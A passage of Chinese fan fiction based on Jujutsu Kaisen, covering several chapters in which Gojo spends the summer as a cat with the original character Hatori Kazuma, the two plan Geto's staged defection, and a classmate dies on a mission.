毕竟一整个暑假呢……悟怎么可能忍得住完全不跟一真见面。 五条悟盯着那个手语片刻。 五条悟秒懂。 “哎呀——我为什么要告诉杰呢——” 五条悟扬起眉梢,忽然变得笑眯眯的,一副完全没打算告诉夏油杰的模样——甚至冲对方挤了挤眼。 “这可是我和一真之间的……嗯,怎么说来着,[情趣]哦。” 夏油杰:“………” 突然觉得自己刺眼起来的夏油杰,真是后悔他为什么要多余问这一句。 不过,他确实猜的没错,五条悟怎么可能会选择在暑假独自返回京都五条家,要跟羽取一真分开足足两个月那么久呢? 想都别想! 当暑假开始的第二天,酒见绫子来到羽取一真所在的参殿汇报工作时。 她的目光,诧异落在对方怀里——确切地说,落在正躺他腿上肆意伸着懒腰的纯白长毛猫咪身上。 那身纯黑肃穆的纹付羽织袴,已经黏上了一根又一根纯白的猫毛,显眼无比。 但对付起领导层来堪称冷酷的黑发少年,此刻却格外纵容那只猫咪的放肆,压根不拘束它的任何行为。 “这……这是?!” 羽取一真低头看了眼在冲他眨单眼wink的蓝瞳大猫,故作镇定地抬起视线。 “是会带给我幸运与胜利的神明。” 酒见绫子:“………” 酒见绫子:“???” 第150章 听到一真竟然将他在心中的地位捧得这么高, 某只猫咪的内心相当惊讶。 但与此同时,他内心不可避免的被喜悦与甜蜜填满,连张嘴发出的“咪嗷——”声都拖得又长又甜, 软绵绵的, 像被一大团云朵塞进怀里的棉花糖丝。 凭借猫咪极敏锐的听觉,五条悟立即就感知到羽取一真此刻的心跳瞬间飙升。 纵使对方的表情依旧沉稳而淡定,但这点控制表情的小把戏,可骗不过他。 简而言之——哎呀这小子,又狠狠迷上他了吧? 五条悟好似得胜凯旋的大将军,在羽取一真的大腿上慢吞吞翻了个身, 仿佛一只躺在财宝上打盹的巨龙。 言下之意相当明显:你啊,超级喜欢我这种形态吧?来, 看在你刚才说话好听的份上, 就破例让你随便摸几下哦! 连那朝羽取一真亮出来的四只粉嫩梅花肉垫, 都刻意控制着, 冲他一齐开了个花。 “……!!!” 羽取一真顿时捂住脸,好让那一瞬间惊到失控的表情不要被酒见绫子发现。 救命, 漂亮小悟不仅非常聪明,且真的很懂自己什么模样最能把他撩拨得心脏怦怦跳! 甚至连习惯动物身体的速度,都比他要来得快。 太可爱了,一举一动都正中他的好球带…… “……” 酒见绫子盯着这位正在捂着嘴走神的圣子大人, 表情有亿点点沉默。 是她的错觉吗, 对方的周身怎么好像在飘幸福小花? ……万万没想到,这位酷哥的弱点竟然是猫。 看他上次没有怪罪那只乱跑的黑豆柴, 反而借走去独自玩了一会,搞得她还以为他是深藏不露的狗派呢。 不过,酒见绫子也不得不承认这只长毛蓝瞳白猫真的非常漂亮, 让她也忍不住偷瞄了好几眼。 而且……越看越感觉眼熟。 正在汇报内容的酒见绫子突然停顿片刻,才又若无其事的继续往下接着讲本周的人员与财报情况。 但她的内心,正在掀起惊涛骇浪。 那只猫的配色,怎么看怎么像和他搭档唱歌的那位啊…… 这算什么,睹猫思人? 酒见绫子有点不敢细想,只能硬着头皮继续汇报营收情况,并祈祷她刚才的异常没有被羽取一真发现。 至于坐在主位上的羽取一真,他的注意力压根不可能分给除悟咪以外的任何存在。 何况酒见绫子的内容对他来说有点多余,只是走一个必要的过场。 真想知道有没有赚钱,羽取一真打开游戏看一眼就清晰明了——如今盘星教所获得的盈利金额,都会等比兑换出一部分金币到他的个人账户里。 可以说盘星教赚得越多,他拿到的分成就越多。 此刻的羽取一真已经快被超绝可爱的悟咪完全迷晕神志,没露出傻笑已经是他自控力高超的表现了。 不过,等酒见绫子汇报到下周工作安排时,羽取一真抬手示意她停一下。 “我之前去镰仓的时候,见到过相当有名的猫岛神社。”他捏着下巴沉吟,“连带喜欢去那里的游客与信徒也非常多。” “这么一想,盘星教的衍生售卖品实在太普通了,没有什么特色。” “不如就画一只长毛的蓝瞳白猫来作为吉祥物推出吧。记得画可爱点,要非常可爱的那种。” 听着羽取一真在这里语气平静的对她吩咐,酒见绫子几次欲言又止,还是默默按捺回去。 这小心思也太明显了吧喂! 但如今的黑发少年已经当上她的老板,酒见绫子最后还是只能应了声“是”,去安排人做策划方案。 有着又柔又滑的蓬松白毛,让羽取一真连托在怀里的动作都小心翼翼的,直接带回寝殿。 盘星教没有高专那样的防御结界,五条悟可以放心的变回人身而不用担心触发警报。 而他的表情还透出兴奋与刺激,似乎也是第一次这样偷溜进敌人的地盘——别忘记羽取一真可是被判决为诅咒师——然后跟对方黏黏糊糊。 甚至,还能当猫把一真撩拨得晕头转向! 坏心眼小悟摩拳擦掌,恨不得在接下来两个月里,将论坛里提过的各种花样都和他玩一遍。 没错,区区猫咪if这种在同人中相当常见的故事背景假设,怎么可能会缺席这个发展真悟cp一年多的论坛板块。 他在那无数个睡前玩手机的夜晚,躲被窝里看得可起劲了。 羽取一真不知道五条悟在发呆想些什么,但不妨碍他安静凝视着对方——温和的、忠爱的,每一分情感都如此充沛,仿佛升腾在冰原上的庞大篝火。 每一片自夜空落下的冰冷雪花,都会被燃烧得沸腾起来,直至化作一阵更柔软的、缭绕的薄雾绕在指尖。 五条悟回过神时,便看着羽取一真在朝他望过来,眼底与嘴角都带着明显的浅笑,那股生人勿进的气质更是早已融化殆尽。 这是一份献给他的,全心全意的喜欢。 是属于他的珍宝,独一无二。 于是,五条悟也笑了起来,却朝羽取一真这边轻轻侧过身,拉近距离—— 错愕、惊喜、柔软、郑重、珍惜……无数情绪在此刻交织如缠绕在二人指尖的红线,又尽数融入这一枚蜻蜓点水般的亲吻中。 时光恰好,无人打扰。 ……… 为了防止自己的身份暴露,来盘星教陪羽取一真过暑假的五条悟白天当猫,晚上做人。 有时晚上也不做人,几次把羽取一真逼得都快走投无路了。 ——就这样,五条悟还要继续挑衅他,非要越贴越近,口中还说着“害羞啦?”、“抵抗力不大行哦?”之类的台词。 对此,羽取一真总是会回以一串心率过快下的省略号。 为什么悟能摆出一副超熟练的姿态,来对他用出各种难以抵抗的招数啊。 羽取一真深刻认为,他该找个时间好好补一下相关的课程教育了。 至少不能再这么被动。 除此之外,羽取一真与五条悟的整个暑假都过得相当愉快。 恢复【圣子】身份的羽取一真不方便出去玩,五条悟便也留在盘星教陪他,始终都没有抱怨过半句[无聊]。 他总能给自己找到些事情做的,例如来玩[用五条悟身上帅气的地方来接龙吧——全部!],以及研究如何开启[自动档无下限术式]。 虽说前面与后面的风格着实不太统一,但这就是率性丨爱玩又努力的五条悟,每一面都是不能被否认的他。 需要省略掌印与吟唱的第一步,他在[苍]上已经实验成功了。 接下来则是如何保证[修复大脑的反转术式与烧坏大脑的无下限术式能恰到好处的配合],以及[将持续消耗的咒力量压低在自然恢复的咒力量之下]。 这不算是一件轻松的事情,在五条悟之前的无下限术师从未想过还能这么做,甚至难以断定它是否能够成功。 但他依旧摩拳擦掌的,压根不在乎那些前人留下的笔记怎么说。 ——何况,一真说过他能做到。 而在这些事情所占据的时间之外,五条悟还特意用[六眼]帮羽取一真确认了一件事。 往来于盘星教的所有教众里,拥有术式的术师仅有他一个。 这也意味着被羽取一真怀疑是术师的[教祖],从来没有在盘星教现身过——哪怕是乔装打扮。 对于这点,羽取一真倒也不显得十分沮丧。 上周目的那个[教祖]既会夏油杰的[咒灵操术],又会虎杖香织的重力术式,意味着无论对方附身了谁,自身肯定是拥有术式的。 哪怕没人见过[教祖]的真面目,也绝不会出现在他面前吗。 看来,他们还是需要夏油杰做诱饵,才能把那家伙钓上钩。 ……… 望着窗外那被骤雨洗过的晴空,[虎杖香织]收到了来信。 信里的内容不算长,三言两语汇报了羽取一真近期做的事情,却令[她]低笑出声。 但比起称赞,那副神情却更接近于观赏瓮中螳螂在打架的饶有兴致。 “强迫不停的喝烫茶?还真是个有趣的办法。” “毫不留情的清理掉一批弃子,以寻得断尾求生吗……嗯,挺有魄力。” “哦,换了身装束,这也是增加气势的一种方式。” “……设计盘星教的吉祥物为长毛蓝瞳白猫,并将其制作成绘马、面具、瓷器及玩偶,推销给前来参拜的信徒与游客?” 看到最后,[虎杖香织]却有点笑不出来了。 [她]不觉得这只被羽取一真精心养起来的蓝、瞳、白、猫,配色仅是与那位[六眼]五条悟恰巧相同而已。 无论是二人之间的感情深厚到送给对方一只猫,抑或只是羽取一真单纯想要睹猫思人,这种现状都令[她]感到某种微妙的警觉感。 而这种感觉,在往前追溯的那无数年里,数次被证实了并非仅是[她]的无端多虑。 “哪怕是以防万一,那件事情也不能让他去做了啊。” [虎杖香织]轻轻点着额角,收起这封信笺。 “——还是,我自己亲自来吧。” 150-160 第151章 暑假结束, 随着五条悟返回到高专继续上课,近乎黏在羽取一真身上的白猫也再无踪影。 面对酒见绫子的诧异,羽取一真淡淡回了句“出门玩了, 过一段时间才会回来”。 他压根不在意这个借口找的是否拙劣——反正只要打开好感度界面, 跟在盘星教领导层和御三家长老们名字后的数值全是整整齐齐的-100,竟分不出谁高谁低。 不过,这帮人能给他爆金币就可以了,羽取一真也不在乎好感度的数值。 顶多隔几天就打开盘星教的经营模块,确定他对这个宗教的支配度依旧是100%就行。 如今的羽取一真不方便出门,好在2006年的网络发展还算成熟, 让他能在网上搜索到许多有用的资料。 ——例如,某方面的生理科普。 他以前不怎么热衷交际, 偏好的游戏类型也不是御子柴那种专注恋爱的美少女游戏。 再加上他从来没有恋爱经历, 且对恋爱这件事情并不感兴趣, 以至于当他初次面对悟那带着坏心眼与小小趣味的逐步侵入时, 竟然没有丝毫反抗之力。 这可不行! 一有时间,羽取一真就开始恶补相关知识。 新世界的大门终于在这位单纯的男子高中生眼前徐徐展开, 叫人大受震撼,仿若醍醐灌顶。 除此以外,五条悟那边也随时与羽取一真保持联络,共享[夏油杰黑化]事件进度。 虽然夏油杰对这个计划的命名产生了一点小小的抗议, 但二比一, 他没有话语权。 何况,这不是很贴切吗? 不先来一波黑化戏码, 怎么让敌人相信他已经变坏到成为诅咒师、叛逃咒术界、进而成为可以拉拢的对象了嘛。 夏油杰欲言又止,止言又欲,发现完全无法反驳, 只能默默闭嘴。 不过,他们还是很认真的打磨过剧本,决定先从姐妹校交流会下手。 恰好在五条悟掌握反转术式与高威力广范围的[赫]之后,针对他的特级咒术师晋升讨论,便开始提上了日程。 于是,夏油杰就在同其他学校的交流中,不经意表现出自己对没能被评为特级咒术师的不满。 而后,还在对抗战中“不小心”打伤对手之后,又“不小心”将对方比作实在弱小的猴子。 简而言之,嘲讽值过于爆表,险些让京都校和高专校两边从吵架升级成聚众斗殴。 之所以没打成,是五条悟率先弹指放了一发[赫],直接犁出了三米深且望不见尽头的沟壑。 对面瞬间就老实了。 但关于夏油杰心态出现异常的“问题”,已在众人面前表现得相当明显——计划顺利开始。 至于交流会,自然是东京校大获全胜。 对此,东京高专的参赛选手半点也不意外。 拜托啦,他们这边可是特级术师预备役加一级术师加会反转术式的奶妈,这豪华阵容还怎么输? 他,现在可是[最强]哦! 羽取一真看到邮件里这段话锋一转开始夸夸自己的话,眼底笑意十足。 这是悟在邀功自己做到了他之前所说的“预言”呢。 而后的发展也顺理成章,夏油杰正式成为问题少年——专门在交上去的报告里写些不满高层轻视非家系术师、不满任务,甚至开始质疑咒术师为什么必须要保护非咒术师不可的内容。 身为他们班主任兼校长的夜蛾正道很头疼,开始找他谈话。 但夏油杰在夜蛾老师面前又表现得相当正常,半点没有报告里体现出来的偏激。 任务也完成得相当完美,并没有伤害到普通人——似乎除了在报告与口头上埋怨两句以外,他本人并没有实施任何违反咒术界规定的行为。 夜蛾正道想话疗都不知道该从哪里开始,只能叮嘱夏油杰注意心理状态,有问题随时可以来找他。 夏油杰在内心对夜蛾老师说抱歉,行动上依旧我行我素。 这些情况在之后的一年里反复出现,日渐严重,为夏油杰的彻底叛逃做足铺垫。 在此期间,夏油杰凭借无数量上限的咒灵操控术式,以及吸收的特级假想咒灵[化身玉藻前],同样跻身特级咒术师行列。 但也上了高层的密切监控名单。 ——或者说,是来自某位[大人]的属意。 ……… 一年后,时间来到2007年,蝉鸣不休的暑夏。 “来试试看。” 照例来盘星教过假期的五条悟仅穿了件黑色的薄短袖,双手插兜,姿态随意的站在这间终于被要求换成灯泡照明的寝殿里,羽取一真则距离他大约两米之外。 从羽取一真的视角看过去,悟并没有使用任何彰显术式发动中的掌印。 而他的手中,正一手握着办公用的钢笔,一手握着纸团——同时甩手扔向五条悟。 纸团轻轻砸中目标后弹落在地,钢笔的速度则越来越慢,直至停在五条悟的眼前,被他抬手捉住。 “嗯,自动档管用了!” 那支钢笔轻盈又灵巧的在五条悟指间转动,整个人显得格外神采奕奕。 “我还着手改进了下,现在的[无下限]不仅可以根据咒力攻击的强弱来进行防御,连带能从物体飞来的质量、速度及形状来评估危险度。” “虽然有努力尝试看能不能将有毒物也纳入筛选范围里,但[无下限]和[六眼]都做不到解析化学方程式——所以很遗憾啦,这方面还是只能靠我自己来判断。” 羽取一真认真听着悟解说,直到最后那句急转直下成咕哝着的埋怨,令他没忍住笑了起来。 “没关系,”羽取一真说,“没有人能比得上你。” 那支轻巧跳跃着的钢笔一停,盛满愉快笑意的苍瞳也朝羽取一真这边望来。 “是吗——明明得等到我能掌握分别同时发动复数的[苍]与[赫]、长距离瞬移和领域展开后,才可以这么夸吧?” 五条悟笑眯眯开口,“现在说这句话啊,只能算是在恭维我哦。” 他用了“恭维”这个词语,好似在强调羽取一真也变成五条家内那些只会谄媚他的族人。 但无论神情抑或语气,五条悟都仍旧保持着某种放松的安心与亲近感,并没有表现出任何抗拒或排斥的意思。 比起质问,这句话倒更像是热恋期小情侣在用各种方式黏糊糊地倾诉着喜欢。 因为五条悟知道,羽取一真必定会这么回答—— “哪怕你不是咒术师,我也依旧这样认为。” 看吧。 五条悟面上的笑意加深。 “悟吸引我的地方,绝不可能是强大的力量。” 在所向披靡的力量之下,却仍始终坚守那颗对待一切生命的平等、郑重与克制之心,才是悟真正的魅力所在。 这点光芒如此璀璨、不可动摇,是属于灵魂底色的熠熠生辉,自始至终从未改变——无论是成熟可靠、值得信赖的五条老师,抑或少年时机灵活泼的高中生悟。 羽取一真没有说出的这些话语,已通过那执着而坚定的神情,再清晰不过得传达给了五条悟。 如此令人安心,让他知道自己不论做出什么决定,永远都会得到一真的支持。 五条悟无比愉快的想道。 不过——在讨论正式的事情前,还是先给这只黑豆柴一点小小的奖励。 “铺垫差不多了,杰正在寻找合适的契机。” 当这记并不算久的吻结束时,五条悟用额头轻轻碰了碰羽取一真的,姿态亲昵无比。 似乎是羽取一真之前作出承诺时对五条悟这么做过,让后者一直都非常喜欢这个动作。 “九十九由基……就是除去我和杰以外的第三位特级,之前特意来高专找过他了。” 羽取一真对这个名字不熟悉,“劝他叛逃吗?” [教祖]那边来游说夏油杰的人? “……没有啦!她要是这么劝,第一个就会被判定成诅咒师哦。”五条悟好笑道,“是向他介绍了下自己想要根除咒灵的目标,顺带安慰他说天元目前很稳定。” 因为夏油杰刻意“透露出”自己黑化的一部分导火索是[星浆体]天内理子的死。 ——虽说天内理子本人其实依旧活蹦乱跳的啦。 前段时间他过去伏黑家探望时,似乎跟津美纪关系变得特别要好了。 “不过嘛,谁知道天元现在是不是真稳定呢?也可能是高层隐瞒下来,再向普通术师们放出的烟雾弹。” 五条悟耸了下肩,明确表示出对高层的不信任。 “总之这场谈话挺好的,杰可以顺势踏出最后一步。只是……” 说到最后这两个字,他有些许迟疑,那双漂亮的苍瞳也有些不知道该将落点放在哪里似的,改为盯着墙壁上的一道略深污迹。 “只是?” 羽取一真微微偏过脑袋,没有催促他的走神。 “虽说杰只是努力表演了一年,但我也始终都在思考。” 五条悟的语速不快,将每个字都讲得极清楚。 “说到底,会造成我们需要这么做的缘由,以及杰能合理黑化叛逃的情况,不都是建立在咒术界高层无法信任之上吗。” 按照一真之前委婉对他们进行的暗示,腐朽守旧的总监部早已被渗透,多年来都在不动声色的排除异己,早已不是为保护非术师而存在的权利架构。 甚至比起拿着月薪拼死拼活的非家系术师,御三家所属的术师不仅不会被强制安排任务,被委托请求支援时,还可以拿一笔巨款级别的出场费。 “如今运行的制度太过陈腐,是无法持续下去的。” 五条悟抬眼,那双惯常灵动的雾蓝苍瞳在火烛映照的此时此刻,好似燃起了某种更炽热的、坚决的信念。 “倘若要彻底推翻这个现状、重建新的秩序,我们又缺少更多的、强大的同伴。” “我想好了。等高专毕业以后……” “我要成为教师。” 这个决定自五条悟的口中说出,并不令羽取一真感觉意外。 他始终都在闪闪发光着,逐渐走向28岁的自己。 即使上周目的他没能得到多少支持,踏出的每一步路依旧坚定,从未动摇。 ——而他已见过那时的悟了,是可靠的、亲切的、负责的、永远都值得信赖的五条老师。 “从杰那边的情况就能看出来,高层…连同五条家在内,也绝对不会赞同我的想法,” 继续向一真解释的五条悟说到这里时,仅懊恼了片刻,便再度斗志昂扬。 “所以,我要发动自下而上的改革,重置整个咒术界。” 这是他反复思考许久,最终确定下来的理想。 只是,刚才还信誓旦旦觉得肯定会得到一真支持的五条悟,在将话说出口后,又变得有点忐忑。 夜蛾老师那关先不说,连他也不确定自己到底适不适合教人…… “——好啊,” 没过多少时间,五条悟便等到了对方的回应。 连带那双永远专注在他身上,透着温润笑意的黑瞳,也并没有露出半点不赞同的情绪。 “那我就自上而下的来帮你吧。” ——羽取一真不仅没有反对,还打算用自己的方式支持他。 五条悟险些因心底那不断咕嘟咕嘟涌上来的高兴,而不慎漏出了太过灿烂的笑容。 他轻咳了两声才努力绷住。 “欸——不担心我搞砸?” “就算当教师,悟也是最棒的。” “这么笃定?” “这么笃定。” 这次,没等五条悟有所动作,羽取一真主动吻了上去,索要属于他的[奖励]。 “……” “…………” 过了片刻,窸窸窣窣的动作响起在这间寝殿内,附带压低声音的抱怨与控诉。 “就到这里为止?就到这里?你不觉得现在气氛正好吗?” “。” “快点说话。” “我们还没有…咳,还没有成年。” “………” 第152章 暑期结束, 五条悟几乎是气鼓鼓地回到了高专。 哪怕坐在自己那张课桌前,戴着不透光的墨镜,嘴角也是朝下撇的, 连用胳膊撑着脑袋的架势, 也透出一股[超不爽]的情绪出来。 趁授课老师还没来,夏油杰凑过去轻声问他:“怎么了这是?” 他现在对外完全是一副濒临黑化的叛逆少年表现,遑论那身装束——广受不良热衷的阔腿裤、与众不同的丸子头与纯黑耳钉,怎么看都是不算是传统意义上的好学生打扮。 以至于他现在连关心友人都得偷偷摸摸的,像特务在地下接头。 至于五条悟,他只是在不爽羽取一真的固执。 为什么一定要成年才可以? 时年17岁的他身高已经突破一米九——站在商业街上, 放眼望去也找不出几个人比他高吧? 何况一真还比他大一岁呢! 就这竟然也不行? 这家伙除了亲亲外就是不肯做到最后一步! 而且怎么说也不松口,让五条悟想起了他对羽取一真的形容——黑豆柴。 真是半点没错, 平时看着呆萌呆萌的, 关键时刻简直又倔又犟! 五条悟光是想起这点就要忍不住的生闷气。 但这种缘由又不好和夏油杰讲, 他只能憋着半晌, 才硬邦邦挤出一句“没什么事,挺好的”。 夏油杰:“……” 这还挺好的呢? 该不会是他们两个吵架了吧? 不应该啊, 就一真那极致差别对待的态度,哪怕去薨星宫把天元大人骂一顿,都未必舍得对悟说半句重话。 想不太明白,单身人士夏油杰只好绞尽脑汁思考还有什么事能把五条悟惹得如此不爽。 不过, 在他想出来第二个原因之前, 反而是五条悟先一步调整完心态,哄好了自己。 不就是等到成年嘛, 反正也没多久了! 于是,五条悟又主动问起夏油杰另外一件事。 “九十九由基后来又找你了吗?” “没有,大概真的只是特意过来接触一下, ”夏油杰想了想,“可能是来做心理疏导?” 五条悟笑了一声,“咒术师哪会有这种东西啦。” 咒术本就是基于负面能量才会拥有的能力,术师都默认自己要么被诅咒杀死,要么杀死诅咒——这些事情的发生是如此习以为常,以至于没人觉得有什么问题。 所以,他才想要改变这一切。 既然九十九由基在夏油杰独自回家的两个月暑假中都没再去找他第二回,基本上可以排除嫌疑,放进待观察名单里。 他们之前还猜测过九十九由基是不是[教祖]那边授意来教唆的人呢,打算顺藤摸瓜……这下可惜了。 既然没有敌人来接触,夏油杰就要自己找机会先叛逃了。 “父母呢?”五条悟小声问他。 “已经说服他们搬离日本了。”夏油杰无奈道,“多亏你愿意资助一大笔钱,我拜托他们随便去哪个国家旅居一段时间都行……最好是五年之内别回来……” 然后被父母怀疑他脑袋是不是上咒术高专上到坏掉了。 哪有小孩把自己父母赶出国至少五年的,这跟流浪有什么区别嘛! 夏油杰好说歹说,终于让父母相信他和同伴正在筹谋一项大计划,如果他们继续留在日本,未来可能会被他牵连,面临生命危险。 虽然被再三叮嘱一定要注意安全,但夏油杰总算是成功说服父母辞去工作,开始挑选出国第一站。 “谢谢你,悟。”夏油杰也松了口气。 “客气什么,”五条·有钱人·悟摆摆手,“就当做是你应得的活动经费。” 等夏油杰解决后顾之忧,他们也可以开启叛逃的最后一步。 但伴随九月到来的,是另一个残酷的消息。 比他们低一届的灰原雄,丧命在了被错估为二级任务的一级任务里。 七海建人则勉强逃出,请求支援——在战力上是[最强]的五条悟自然被紧急派往目的地。 刚出差忙完自己任务的五条悟没来得及歇一口气,收到支援消息后立刻又出发了。 他变得越强,压在他身上的任务便越多——准一级以上的术师太少,愈发活跃的咒灵却不会跟着降低杀伤力。 连带五条悟的休息时间也被迅速压缩,与羽取一真通话的频率也在缓慢下降,只能抓住调查的空隙,努力在邮件里多打两个字,附带一两张风景或美食照片。 即使如此,五条悟也从来没有抱怨过。 在正事上,他一向严肃对待,既不会推脱责任、也从不耍赖偷懒。 “无论如何……你先去好好休息一下,七海。” 停尸间内,夏油杰低声叹出口气,将染着血斑的白布缓慢拉起,直至盖过这具残缺不堪的尸体。 他平时与灰原雄的关系还不错,空闲时也会聊上几句。 五条悟去处理任务了,只有他能赶过来吊唁……以及安慰与灰原雄一同出任务的七海建人。 他们这一届只有两个人,如今凋亡一个,对另一人的打击必然极大。 “任务已经交给悟处理了。” 一级咒灵对非术师的危害性同样很高,夏油杰这么安慰着没能祓除咒灵的七海建人,却在短暂的寂静过后,换来一句自暴自弃似的低语。 “干脆,全部交给那个人不好吗?” 眼睛盖着毛巾的七海建人靠着墙,近乎是瘫坐在凳子上,没有任何精气神可言。 夏油杰怔了下,没想到会听见这个回答。 七海建人在大家的心目中一贯沉稳,此刻却被打击到了这种程度吗。 悟确实是[最强],他的天赋再加自身的聪慧与努力,就注定了不可能平庸。 普通术师就算穷极一生追赶,甚至未必能望得见他的背影。 ——但这么想不对的。 七海建人这句话的既视感太重,以至于夏油杰难以抑制的恍神片刻,思绪被拉回跟羽取一真第一次出任务那时。 在更早以前,他就被平时看起来寡言少语的一真纠正过了。 “……因为是[最强],就必须担负起所有人的期望吗?” 夏油杰喃喃出口,末尾音节回荡在这间空旷的停尸房内,敲出几声冷冰冰的轻声回响。 七海建人怔住:“什么?” “抱歉,我并没有想要指责你的意思,也理解你失去灰原的心情。” 夏油杰回过神来,“只是,悟同样很忙,他也从没有拒绝过任务……假使此刻是我去处理任务,悟站在这里,你会对着悟说[干脆全部交给夏油就好了]吗?” 他本来不愿意在这种时候刺激七海,但对方这话与他曾经说过的何其相似,好似弱者在要求强者保护、强者则要求更强者保护。 那他这种算什么,是要求[最强]保护的弱者,还是被弱者要求保护的强者? 夏油杰的心底,突兀闪过这个念头,转瞬即逝。 注意力重新回到停尸间里时,仍旧仅有他和七海建人在。 “………” 而这句来自他的反问太过犀利,令冲动想要逃避一切的七海建人在很长时间内,都没能做出任何回应。 夏油杰也没有再出声,只是过来坐在这位后辈身边,默然陪伴着。 不知道过去多久,直至夏油杰的手机响起,接到了五条悟的来电。 “我这边搞定了,等会就坐车赶回来。” 电话另一头传来的声音有点闷,似乎还打了个不怎么明显的呵欠——但大体还算精神,“你那边呢,杰?七海还好吗?” 被提到名字,七海建人依旧维持着仰面靠在墙壁、眼睛上盖着毛巾的姿势,身体微微动了一下。 老式的翻盖手机质量不太好,接电话时或多或少都会有漏音情况。 “他没什么事,” 夏油杰看了眼没有说话的七海建人,没有和悟说他们之间刚才的对话。 “你也辛苦了,早点回来休息。” “好哦,剩下的就麻烦你了。” 听筒里传来的声音不算十分清晰,不时会伴随一声沉闷的金属碰撞动静。 大概在回程的新干线上吧,再加上人已经连轴转了好几天,难怪会犯困。 就算可以用反转术式修复生理上的大脑损伤,积累的精神疲惫也不是一时半刻就能散去的。 夏油杰又和五条悟聊了两句,挂断电话。 在重新恢复到无言的寂静中,他听见七海建人开口。 “……我还以为你们之间的关系很紧张。” 据说之前还吵过几架。 作戏被一通电话当场拆穿,夏油杰顿时有点尴尬的笑了下。 “这个……我们也只是在一点点地方意见不合而已。” “是这样吗,”七海建人开口,“今天的你也与平时很不一样。” “他们都在说你变得很偏激,大概过不了多久,就会无法再忍受继续当咒术师而退出了。” 结果,竟然会为了维护五条悟而反驳他的话。 苦心演戏多时,一朝就要被当场揭穿假面,夏油杰都快听得汗流浃背了。 “这个啊,也是有理由的……” ——他沉重叹息着,垮下肩膀道,“也可以说我只是不太认同咒术界的某些理念,但归根结底,如今在运行的秩序根本是错误的。” 或许,就像是九十九由基说的那样,原因疗法比对症疗法更重要。 “错误吗,”七海建人疲惫道,“大概,确实如此吧。” “你之后还打算继续当咒术师吗?”夏油杰问道。 “或许。我需要回去好好思考一下。” 七海建人拿下盖在眼睛上的毛巾,撑着膝盖起身时,好似又想起什么般,转头问夏油杰。 “听你刚才的话,好像不是第一次这么说?” “是啊,被狠狠教训了一顿。顺带提醒,你最好不要再这么想了。” 面对七海建人眼睛流露出的明显困惑,夏油杰仅是笑了下,冲他一耸肩。 “会有人很不高兴。” ……… 等五条悟也赶回高专后,他们每人都换了身黑衣,静默伫立着,为灰原雄送行。 死在任务中的咒术师并不少见。 即使是往年毕业的学生,倘若没有退出咒术界彻底转行不干,或者成为安全系数相对高一些的辅助监督——也大多逃不开半途折损的命运。 咒术师不存在无悔的死亡。 五条悟站在墓碑前,想起这句话。 自小便接触诅咒、了解诅咒的他,此刻既没有悲伤、也不觉得愤怒。 他见过太多的死——受难者的枉死、诅咒师的处死、咒术师的战死……这些常人一生接触不到的死亡,却是伴随着他长大的、稀松平常的事物。 然而,五条悟仍旧不可避免的感到了惋惜与怅然。 许多咒术师的死亡,或许,原本是可以避免的。 ……只有他一个人强是不够的,他没有办法同时顾及到所有需要救助的人。 他需要更多更强的同伴,与他一起走在新的道路上。 “等毕业后,我决定要当教师。” 回去路上,五条悟对夏油杰说出自己的决定——换来后者的惊诧一瞥。 “……”五条悟的眉毛顿时竖起来了,“你这是什么表情?” “咳,就是感觉你看起来不太像能教书的样子……” 夏油杰干巴巴咳嗽一声,“他同意吗?” 这个“他”,指的是羽取一真。 “我为什么非要他同意不可啦?我是我,他是他。” 五条悟很想翻夏油杰一个白眼,但还是忍住了。 “这是我自己想做的事情,与任何人都无关。” ——在夏油杰还没有说抱歉之前,五条悟的声音又变得轻快起来。 “嗯,不过呢,他当然会支持我啊。” 骄傲小悟把脑袋一昂,用一种得意洋洋但又拿某人没办法的语气说道。 “毕竟我的魅力就是有这么大,他被迷到总是无条件支持我——这种情况也是很正常啦。” 分明是互相喜欢对方喜欢到不行,五条悟却偏要说成[只有一真被他迷得七荤八素哦,他可是绝对没有哦,绝对没有啦]。 夏油杰:“……” 被闪瞎了眼睛的夏油杰默默叹口气,感觉心好累。 “话说,”他选择转移话题,“等下次任务的时候,我大概就可以……” 叛逃了。 ——九月十一日。 夏油杰接到针对旧顷村神隐事件进行调查的任务,动身出发。 第153章 夏油杰在去旧顷村之前, 先拿到了辅助监督——正金寺美里发来的任务概要。 据说这座村落的“神隐”传说自江户时代便已开始传播,随时代推移会在内容上产生些许演变,但大体来说, 并没有非常显著的区别。 以前的科技不发达, 旧顷村的地理位置又太过偏僻,别说始终没有与外界联络的方式,连进村的路都仅有一条无法通行轿车的窄道。 夏油杰提前一周就收到了此次任务安排与概况,但由于同时还在执行其他任务,他必须要先把手头上的这个处理完毕,再回学校修整并与辅助监督汇合, 一同前往旧顷村。 在路上,他也拿到了正金寺美里关于“神隐”传闻的详细调查报告。 “近十年来总共发生五起失踪及非自然死亡事件, 地点都位于村落附近一个在传说中被称为神域的钟乳石洞50米范围内, 大致猜测是由咒灵造成的。” “其中一位年轻女性与一位孩童是失踪, 另外四位中年以上或男性的尸体都缺少头颅。后者的死亡特征一致。” 趁夏油杰翻看报告的间隙, 正金寺美里抓紧时间向他解释。 进村的道路无法通行轿车,她只能在距离旧顷村一公里左右的路口将人放下来, 在外面等待后续联络。 “村民们也都清楚这次委托,我们无需遵守保密条例,直接走访村民确认传说内容,以及祓除可能存在的咒灵即可。” 正金寺美里的余光瞄向后视镜, 话语相当郑重。 “我之前已进行过一次调查, 但那时并没有发现在钟乳石洞附近找到咒灵的踪迹。因此,我们推测咒灵等级为准一级左右, 大概率能够使用咒术。祓除时请务必当心。” “嗯,听起来不算麻烦。” 夏油杰翻了翻报告,确认没有更多的详细介绍后, 便将它收了起来。 基于传说的不同,有些咒灵需要特定的行为或方法才能触发。 这种极易造成大范围恐惧的咒灵一旦生成,几乎在准一级以上——有些甚至拥有一套独特的诅咒触发逻辑,不会无差别攻击普通人。 像旧顷村这样的情况,并不算少见。 再加上不用秘密行动,这场任务于他而言更是轻松许多。 夏油杰下车与正金寺美里道别,独自步行前往旧顷村。 正金寺美里不确定这次任务需要花费多久,便提前向委托人预订了最多三天的空房借宿。 听说他是来帮忙解决“神隐”事件的,夏油杰受到了村民们格外热情的招待。 无论夏油杰询问什么,他们都会知无不言,言无不尽。 因此,诞生在钟乳石洞附近的那只咒灵转天就被夏油杰解决掉了——普通人或弱小术师看不见的咒力残秽,对他来说并不难辨认。 只是在村民心中,这处“神域”是不可轻易踏入的,以至于孤身前去钟乳石洞的夏油杰返回时,他们还误认为事件没有解决。 换句话说,他们认为的“事件元凶”,还没有被解决。 